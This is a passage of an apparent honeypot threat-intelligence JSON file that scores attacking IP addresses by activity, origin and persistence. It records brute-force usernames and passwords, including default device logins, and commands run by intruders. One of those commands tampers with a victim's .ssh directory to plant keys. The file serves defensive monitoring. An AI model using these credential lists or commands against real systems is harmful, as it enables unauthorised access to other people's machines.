      "city": "Tirana",
      "asn": 215025,
      "as_org": "Net.com Shpk",
      "threat_score": 27.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 109,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T11:16:42.065000+00:00",
        "last_seen_30d": "2026-03-26T11:26:46.468000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 93,
        "Suricata": 16
      }
    },
    "137.184.95.187": {
      "attack_count": 75,
      "first_seen": "2026-03-08T22:02:18.163Z",
      "last_seen": "2026-03-08T22:22:46.373Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "111111",
        "123123",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "P@ssw0rd",
        "admin",
        "admin123",
        "password",
        "password1",
        "qwerty",
        "root"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 7.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 108,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T22:02:18.163000+00:00",
        "last_seen_30d": "2026-03-08T22:23:49.588000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 75,
        "Suricata": 33
      }
    },
    "14.1.107.83": {
      "attack_count": 50,
      "first_seen": "2026-03-20T08:01:08.482Z",
      "last_seen": "2026-03-20T08:06:32.756Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T08:01:08.482000+00:00",
        "last_seen_30d": "2026-03-20T08:07:38.130000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "66.167.169.173": {
      "attack_count": 46,
      "first_seen": "2026-03-03T23:12:32.151Z",
      "last_seen": "2026-03-03T23:17:30.610Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 70,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T23:12:32.151000+00:00",
        "last_seen_30d": "2026-03-03T23:18:31.452000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 46,
        "Suricata": 24
      }
    },
    "206.189.29.194": {
      "attack_count": 45,
      "first_seen": "2026-03-10T07:33:51.808Z",
      "last_seen": "2026-03-10T07:45:56.348Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root",
        "pi"
      ],
      "passwords_attempted": [
        "!root",
        "1qaz2wsx",
        "Admin2026!",
        "P@ssw0rd2026",
        "qwerty123456",
        "raspberry",
        "root!@#"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 9.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 65,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T07:33:51.808000+00:00",
        "last_seen_30d": "2026-03-10T07:47:03.106000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 45,
        "Suricata": 20
      }
    },
    "110.37.30.28": {
      "attack_count": 44,
      "first_seen": "2026-03-11T19:57:46.688Z",
      "last_seen": "2026-03-11T20:02:32.105Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 38264,
      "as_org": "National WiMAXIMS environment",
      "threat_score": 10.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 67,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T19:57:46.688000+00:00",
        "last_seen_30d": "2026-03-11T20:03:35.568000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 23
      }
    },
    "36.112.133.74": {
      "attack_count": 43,
      "first_seen": "2026-03-04T22:52:00.889Z",
      "last_seen": "2026-03-15T21:33:34.888Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ansible",
        "user001"
      ],
      "passwords_attempted": [
        "12345678",
        "Bingo@1993",
        "abc123456@",
        "ansible!@#"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 23724,
      "as_org": "IDC, China Telecommunications Corporation",
      "threat_score": 18.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.3,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 68,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T22:52:00.889000+00:00",
        "last_seen_30d": "2026-03-15T21:43:39.241000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 43,
        "Suricata": 25
      }
    },
    "72.255.33.169": {
      "attack_count": 38,
      "first_seen": "2026-03-28T20:02:40.566Z",
      "last_seen": "2026-03-28T20:06:47.796Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 37.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.7,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 59,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T18:12:13.727000+00:00",
        "last_seen_30d": "2026-03-28T20:07:49.339000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 38,
        "Suricata": 21
      }
    },
    "176.65.132.50": {
      "attack_count": 29,
      "first_seen": "2026-03-27T03:25:15.592Z",
      "last_seen": "2026-03-27T03:25:37.620Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root",
        "AdminGPON",
        "admin",
        "user"
      ],
      "passwords_attempted": [
        "000000",
        "ALC#FGU",
        "NSSpassword1",
        "admin",
        "user"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 67.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.1,
        "persistence": 8.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 82,
        "days_active_30d": 10,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-22T15:30:26+00:00",
        "last_seen_30d": "2026-03-31T03:32:32.313000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 36,
        "Cowrie": 29,
        "Honeytrap": 13,
        "ConPot": 4
      }
    },
    "134.199.159.132": {
      "attack_count": 28,
      "first_seen": "2026-03-02T07:24:29.312Z",
      "last_seen": "2026-03-02T07:35:21.573Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123456",
        "password"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download",
        "cowrie.session.params"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T07:24:27.008000+00:00",
        "last_seen_30d": "2026-03-02T07:36:22.638000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 9
      }
    },
    "116.110.3.106": {
      "attack_count": 27,
      "first_seen": "2026-03-15T22:35:44.813Z",
      "last_seen": "2026-03-15T22:56:50.138Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "developer",
        "root",
        "software",
        "sync"
      ],
      "passwords_attempted": [
        "andrew",
        "click1",
        "developer",
        "htpcguides",
        "software"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 14.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 41,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T22:35:44.813000+00:00",
        "last_seen_30d": "2026-03-15T22:57:55.365000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 27,
        "Suricata": 14
      }
    },
    "38.188.160.54": {
      "attack_count": 23,
      "first_seen": "2026-03-10T23:00:57.700Z",
      "last_seen": "2026-03-11T00:28:33.985Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "10101982",
        "180688",
        "ROXANE",
        "cheminot"
      ],
      "commands_executed": [
        "echo -e \"\\x6F\\x6B\""
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 9.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.4,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:00:57.700000+00:00",
        "last_seen_30d": "2026-03-11T00:29:39.196000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 12
      }
    },
    "61.0.228.11": {
      "attack_count": 22,
      "first_seen": "2026-03-09T16:13:09.629Z",
      "last_seen": "2026-03-09T16:15:31.858Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "a",
        "admin",
        "nil",
        "root"
      ],
      "passwords_attempted": [
        "",
        "a",
        "admin",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Namakkal",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.6,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-09T16:13:09.629000+00:00",
        "last_seen_30d": "2026-03-09T16:16:34.387000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 22,
        "Suricata": 13,
        "Honeytrap": 1
      }
    },
    "157.230.22.86": {
      "attack_count": 18,
      "first_seen": "2026-03-05T03:44:03.465Z",
      "last_seen": "2026-03-05T04:20:16.260Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "aaaaaa5061313",
        "test123456"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.2,
        "persistence": 5.0,
        "diversity": 6,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 33,
        "days_active_30d": 6,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T03:44:03.465000+00:00",
        "last_seen_30d": "2026-03-10T04:03:58.187000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 15
      }
    },
    "45.79.128.205": {
      "attack_count": 15,
      "first_seen": "2026-03-22T08:27:25.911Z",
      "last_seen": "2026-03-26T09:52:03.072Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Cedar Knolls",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 78.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.4,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 137,
        "days_active_30d": 27,
        "ports_targeted_30d": 24,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-05T16:21:59+00:00",
        "last_seen_30d": "2026-03-31T18:24:01.271000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 78,
        "Honeytrap": 44,
        "Cowrie": 15
      }
    },
    "64.62.156.182": {
      "attack_count": 12,
      "first_seen": "2026-03-05T04:04:56.431Z",
      "last_seen": "2026-03-18T01:25:29.267Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 317,
        "days_active_30d": 30,
        "ports_targeted_30d": 81,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-02T03:42:16+00:00",
        "last_seen_30d": "2026-03-31T13:21:57.147000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 192,
        "Honeytrap": 93,
        "Cowrie": 12,
        "Miniprint": 9,
        "Mailoney": 6,
        "Dionaea": 3,
        "ConPot": 2
      }
    },
    "162.240.163.162": {
      "attack_count": 10,
      "first_seen": "2026-03-06T01:17:30.623Z",
      "last_seen": "2026-03-06T11:14:09.152Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin@Kelltech",
        "admin@kelltech123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 46606,
      "as_org": "Unified Layer",
      "threat_score": 17.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.0,
        "persistence": 7.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 9,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-06T01:17:30.623000+00:00",
        "last_seen_30d": "2026-03-14T03:24:46.584000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 9,
        "Heralding": 1
      }
    },
    "38.188.160.134": {
      "attack_count": 10,
      "first_seen": "2026-03-10T23:22:55.583Z",
      "last_seen": "2026-03-11T00:13:40.642Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "131184",
        "conseil"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 8.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:22:55.583000+00:00",
        "last_seen_30d": "2026-03-11T00:14:41.429000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "216.126.225.235": {
      "attack_count": 8,
      "first_seen": "2026-03-05T16:37:02.518Z",
      "last_seen": "2026-03-06T07:07:14.687Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ogden",
      "asn": 14956,
      "as_org": "RouterHosting LLC",
      "threat_score": 35.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 9.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 149,
        "days_active_30d": 11,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-05T16:37:02+00:00",
        "last_seen_30d": "2026-03-15T10:21:25.223000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 101,
        "Sentrypeer": 25,
        "Tanner": 11,
        "Cowrie": 8,
        "Dionaea": 2,
        "Honeytrap": 2
      }
    },
    "143.110.240.71": {
      "attack_count": 7,
      "first_seen": "2026-03-02T06:33:23.092Z",
      "last_seen": "2026-03-02T06:36:30.829Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 2.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T06:33:23.092000+00:00",
        "last_seen_30d": "2026-03-02T06:37:35.166000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7,
        "Suricata": 6
      }
    },
    "47.236.13.75": {
      "attack_count": 7,
      "first_seen": "2026-03-11T13:21:52.896Z",
      "last_seen": "2026-03-11T13:24:33.939Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        " "
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 7.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T13:21:52.896000+00:00",
        "last_seen_30d": "2026-03-11T13:25:41.307000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7,
        "Suricata": 5
      }
    },
    "178.88.167.38": {
      "attack_count": 6,
      "first_seen": "2026-03-13T08:55:38.136Z",
      "last_seen": "2026-03-13T10:20:09.857Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Kazakhstan",
      "country_code": "KZ",
      "city": "Almaty",
      "asn": 9198,
      "as_org": "JSC Kazakhtelecom",
      "threat_score": 9.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T08:55:38.136000+00:00",
        "last_seen_30d": "2026-03-13T10:21:18.457000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 6
      }
    },
    "185.247.137.41": {
      "attack_count": 6,
      "first_seen": "2026-03-29T08:26:11.397Z",
      "last_seen": "2026-03-29T08:26:14.147Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Manchester",
      "asn": 211298,
      "as_org": "Driftnet Ltd",
      "threat_score": 33.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.8,
        "persistence": 10.0,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 12,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T02:20:58.266000+00:00",
        "last_seen_30d": "2026-03-29T09:17:52.773000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 6
      }
    },
    "66.132.186.177": {
      "attack_count": 6,
      "first_seen": "2026-03-28T09:40:09.115Z",
      "last_seen": "2026-03-28T09:40:49.765Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 35.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.3,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-28T09:40:09.115000+00:00",
        "last_seen_30d": "2026-03-29T23:51:24.608000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 28,
        "ElasticPot": 9,
        "Cowrie": 6
      }
    },
    "66.132.195.70": {
      "attack_count": 6,
      "first_seen": "2026-03-24T01:39:46.698Z",
      "last_seen": "2026-03-24T01:40:24.225Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 59.1,
      "threat_level": "medium",
